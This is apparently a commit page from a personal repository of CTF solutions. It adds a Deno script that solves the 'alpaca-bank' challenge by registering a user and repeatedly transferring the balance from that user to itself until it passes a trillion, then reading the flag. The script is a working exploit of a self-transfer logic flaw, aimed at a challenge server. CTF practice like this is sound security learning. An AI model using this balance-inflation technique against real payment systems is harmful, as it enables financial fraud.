My solutions for CTFs
0

Configure Feed

Select the types of activity you want to include in your feed.

Daily AlpacaHack 2025/12/11

Takumi Akimoto (Dec 12, 2025, 12:42 AM +0900) 5883ef5b 7ae4f045

+33
+5
alpacahack/daily/alpaca-bank/deno.json
··· 1 + { 2 + "fmt": { 3 + "semiColons": false 4 + } 5 + }
+28
alpacahack/daily/alpaca-bank/solve.ts
··· 1 + const BASE_URL = "http://34.170.146.252:30021" 2 + 3 + const { user } = await fetch(`${BASE_URL}/api/register`, { 4 + method: "POST", 5 + }).then((res) => res.json()) 6 + let currentBalance = 10 7 + 8 + while (currentBalance < 1_000_000_000_000) { 9 + await fetch(`${BASE_URL}/api/transfer`, { 10 + method: "POST", 11 + headers: { 12 + "Content-Type": "application/json", 13 + }, 14 + body: JSON.stringify({ 15 + fromUser: user, 16 + toUser: user, 17 + amount: currentBalance, 18 + }), 19 + }) 20 + 21 + currentBalance *= 2 22 + } 23 + 24 + const { flag } = await fetch(`${BASE_URL}/api/user/${user}`).then(( 25 + res, 26 + ) => res.json()) 27 + 28 + console.log(flag)